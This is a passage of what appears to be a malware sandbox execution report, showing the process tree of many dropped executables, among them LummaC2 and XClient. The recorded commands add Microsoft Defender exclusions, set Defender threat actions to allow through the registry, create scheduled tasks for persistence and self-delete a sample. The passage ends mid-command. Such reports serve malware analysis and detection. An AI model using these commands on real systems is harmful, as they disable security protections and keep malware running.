    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 1080
    3⤵
    - Program crash
    PID:396
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 1428
    3⤵
    - Program crash
    PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a\inte.exe" & exit
    3⤵
    PID:5456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 1372
    3⤵
    - Program crash
    PID:4024
- C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
  2⤵
  PID:5200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\XClient.exe'
    3⤵
    PID:6020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    PID:5204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe'
    3⤵
    PID:3680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsHealthSystem.exe'
    3⤵
    PID:4800
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsHealthSystem" /tr "C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe"
    3⤵
    - Creates scheduled task(s)
    PID:896
- C:\Users\Admin\AppData\Local\Temp\a\hghgfhjfhmain.exe
  "C:\Users\Admin\AppData\Local\Temp\a\hghgfhjfhmain.exe"
  2⤵
  PID:648
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "fgfdhdgg" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\gfgfgf\gfdgfdg.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:908
- C:\Users\Admin\AppData\Local\Temp\a\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\a\swiiiii.exe"
  2⤵
  PID:5640
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5572
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4436
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 812
    3⤵
    - Program crash
    PID:5876
- C:\Users\Admin\AppData\Local\Temp\a\Akh.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Akh.exe"
  2⤵
  PID:5396
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
    3⤵
    PID:5872
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    PID:6120
  - - C:\Users\Admin\Pictures\mLCshfkSWN6hlbEZDfBcwrHD.exe
      "C:\Users\Admin\Pictures\mLCshfkSWN6hlbEZDfBcwrHD.exe"
      4⤵
      PID:4032
    - - C:\Users\Admin\AppData\Local\Temp\u340.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u340.0.exe"
        5⤵
        
        PID:4412
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 1192
        6⤵
        Program crash
        
        PID:5452
    - - C:\Users\Admin\AppData\Local\Temp\u340.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u340.1.exe"
        5⤵
        
        PID:2272
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4032 -s 992
        5⤵
        Program crash
        
        PID:1716
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4032 -s 1492
        5⤵
        Program crash
        
        PID:5216
  - - C:\Users\Admin\Pictures\KvztEQxYWWtDyXbnTZ6mSWWB.exe
      "C:\Users\Admin\Pictures\KvztEQxYWWtDyXbnTZ6mSWWB.exe"
      4⤵
      PID:5720
  - - C:\Users\Admin\Pictures\ZeoPqYoPbnN6WBUENX40HLdH.exe
      "C:\Users\Admin\Pictures\ZeoPqYoPbnN6WBUENX40HLdH.exe"
      4⤵
      PID:3284
  - - C:\Users\Admin\Pictures\Eeg6CTCpRls0fFoqZoxD7o0e.exe
      "C:\Users\Admin\Pictures\Eeg6CTCpRls0fFoqZoxD7o0e.exe"
      4⤵
      PID:5532
    - - C:\Users\Admin\AppData\Local\Temp\7zSDAF0.tmp\Install.exe
        
        .\Install.exe /GuWwdidYfRYv "385118" /S
        5⤵
        
        PID:292
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:4136
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:5796
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 13:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\TlUMIfr.exe\" mP /tzsite_idTLw 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:3960
  - - C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe
      "C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe" --silent --allusers=0
      4⤵
      PID:1100
    - - C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe
        
        C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6a03e1d0,0x6a03e1dc,0x6a03e1e8
        5⤵
        
        PID:1312
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\P4qZxJfVdjkBlnWA1eVgGVXS.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\P4qZxJfVdjkBlnWA1eVgGVXS.exe" --version
        5⤵
        
        PID:6028
    - - C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe
        
        "C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1100 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240409133409" --session-guid=ce36ff1f-5dbc-4b9d-b9f1-fadd2f6835dc --server-tracking-blob=NTczNzc0MDg4ZjE3NTM4NGQ1NTFlMTIxODBhZTFjOTJjNGY4MDczMjU3MzJkMjE2NzhmNWU5ZWEyMDJlNDBlNDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N183ODkiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMSIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTI2Njk2MzUuNTUzNCIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N183ODkiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjE5OGQ0YjVkLTRmYTMtNDFkYy04Y2QxLTUxM2MxMWEyMTMzOCJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3C05000000000000
        5⤵
        
        PID:3696
      - C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe
        
        C:\Users\Admin\Pictures\P4qZxJfVdjkBlnWA1eVgGVXS.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2bc,0x2c0,0x2c4,0x28c,0x2c8,0x696be1d0,0x696be1dc,0x696be1e8
        6⤵
        
        PID:4884
  - - C:\Users\Admin\Pictures\xjs3Jbpe4vRBuC9qJSd69pQO.exe
      "C:\Users\Admin\Pictures\xjs3Jbpe4vRBuC9qJSd69pQO.exe"
      4⤵
      PID:316
    - - C:\Users\Admin\AppData\Local\Temp\7zSED01.tmp\Install.exe
        
        .\Install.exe /GuWwdidYfRYv "385118" /S
        5⤵
        
        PID:5192
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:1116
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:3656
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 13:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\znyQXUA.exe\" mP /xpsite_idIWN 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:4312
- C:\Users\Admin\AppData\Local\Temp\a\ISetup10.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup10.exe"
  2⤵
  PID:5944
- - C:\Users\Admin\AppData\Local\Temp\u4l4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u4l4.0.exe"
    3⤵
    PID:5136
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5136 -s 1096
      4⤵
      Program crash
      PID:5772
- - C:\Users\Admin\AppData\Local\Temp\u4l4.1.exe
    "C:\Users\Admin\AppData\Local\Temp\u4l4.1.exe"
    3⤵
    PID:5784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 1000
    3⤵
    - Program crash
    PID:2468
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 996
    3⤵
    - Program crash
    PID:5860
- C:\Users\Admin\AppData\Local\Temp\a\koooooo.exe
  "C:\Users\Admin\AppData\Local\Temp\a\koooooo.exe"
  2⤵
  PID:2640
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2640 -s 720
    3⤵
    - Program crash
    PID:5928
- C:\Users\Admin\AppData\Local\Temp\a\Crypto.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Crypto.exe"
  2⤵
  PID:5688
- C:\Users\Admin\AppData\Local\Temp\a\LummaC2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\LummaC2.exe"
  2⤵
  PID:2880
- C:\Users\Admin\AppData\Local\Temp\a\DemagogicAlewife.exe
  "C:\Users\Admin\AppData\Local\Temp\a\DemagogicAlewife.exe"
  2⤵
  PID:5484
- C:\Users\Admin\AppData\Local\Temp\a\RoulleteBotPro_x32-x64.exe
  "C:\Users\Admin\AppData\Local\Temp\a\RoulleteBotPro_x32-x64.exe"
  2⤵
  PID:3380
- C:\Users\Admin\AppData\Local\Temp\a\random.exe
  "C:\Users\Admin\AppData\Local\Temp\a\random.exe"
  2⤵
  PID:2124
- C:\Users\Admin\AppData\Local\Temp\a\asdfg.exe
  "C:\Users\Admin\AppData\Local\Temp\a\asdfg.exe"
  2⤵
  PID:5080
- C:\Users\Admin\AppData\Local\Temp\a\lumma2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\lumma2.exe"
  2⤵
  PID:5656
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1856
- C:\Users\Admin\AppData\Local\Temp\a\ghjk.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ghjk.exe"
  2⤵
  PID:6044
- C:\Users\Admin\AppData\Local\Temp\a\pt.exe
  "C:\Users\Admin\AppData\Local\Temp\a\pt.exe"
  2⤵
  PID:4436
- - C:\Windows\system32\cmd.exe
    "cmd" /C tasklist
    3⤵
    PID:4244
- C:\Users\Admin\AppData\Local\Temp\a\AppGate2103v01.exe
  "C:\Users\Admin\AppData\Local\Temp\a\AppGate2103v01.exe"
  2⤵
  PID:2044
- C:\Users\Admin\AppData\Local\Temp\a\TrueCrypt_nKJqAu.exe
  "C:\Users\Admin\AppData\Local\Temp\a\TrueCrypt_nKJqAu.exe"
  2⤵
  PID:4368
- C:\Users\Admin\AppData\Local\Temp\a\bd2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\bd2.exe"
  2⤵
  PID:1528

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3760

C:\Users\Public\svchost.exe
C:\Users\Public\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 836 -ip 836
1⤵
PID:3476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1760 -ip 1760
1⤵
PID:4292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 712 -ip 712
1⤵
PID:4388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3548 -ip 3548
1⤵
PID:1636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 836 -ip 836
1⤵
PID:564

C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
1⤵
PID:564
- C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
  "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
  2⤵
  PID:4768
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4768 -s 600
    3⤵
    - Program crash
    PID:1684
- C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
  "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
  2⤵
  PID:4720
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 564 -s 676
  2⤵
  - Program crash
  PID:2056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4388 -ip 4388
1⤵
PID:4636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 888 -ip 888
1⤵
PID:2056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 564 -ip 564
1⤵
PID:896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4388 -ip 4388
1⤵
PID:1992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2368 -ip 2368
1⤵
PID:4924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4768 -ip 4768
1⤵
PID:1036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2340 -ip 2340
1⤵
PID:888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 1532 -ip 1532
1⤵
PID:3564

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:1100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1740 -ip 1740
1⤵
PID:2128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4088 -ip 4088
1⤵
PID:1000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4088 -ip 4088
1⤵
PID:2468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\SearchHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Users\Default User\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3840

C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
1⤵
PID:3168
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:1628
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:3288
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:4156
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:4516
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4652
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:3976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5364 -ip 5364
1⤵
PID:5820

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:5472

C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
1⤵
PID:5488
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  PID:5564
- C:\Windows\system32\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
  2⤵
  PID:5432
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
  2⤵
  PID:5304
- C:\Windows\system32\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
  2⤵
  PID:5584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5452 -ip 5452
1⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5728 -ip 5728
1⤵
PID:5572

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004DC
1⤵
PID:416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5728 -ip 5728
1⤵
PID:5696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\36A2.bat" "
1⤵
PID:5856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5728 -ip 5728
1⤵
PID:5516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5728 -ip 5728
1⤵
PID:5300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5728 -ip 5728
1⤵
PID:3656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5728 -ip 5728
1⤵
PID:5168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5728 -ip 5728
1⤵
PID:5140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5728 -ip 5728
1⤵
PID:5984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5640 -ip 5640
1⤵
PID:6016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2640 -ip 2640
1⤵
PID:5740

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B057.bat" "
1⤵
PID:4992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5136 -ip 5136
1⤵
PID:4956

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 5944 -ip 5944
1⤵
PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 4032 -ip 4032
1⤵
PID:1824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5944 -ip 5944
1⤵
PID:5484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4412 -ip 4412
1⤵
PID:4436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4032 -ip 4032
1⤵
PID:484

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:1476

C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\znyQXUA.exe
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\znyQXUA.exe mP /xpsite_idIWN 385118 /S
1⤵
PID:5812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD 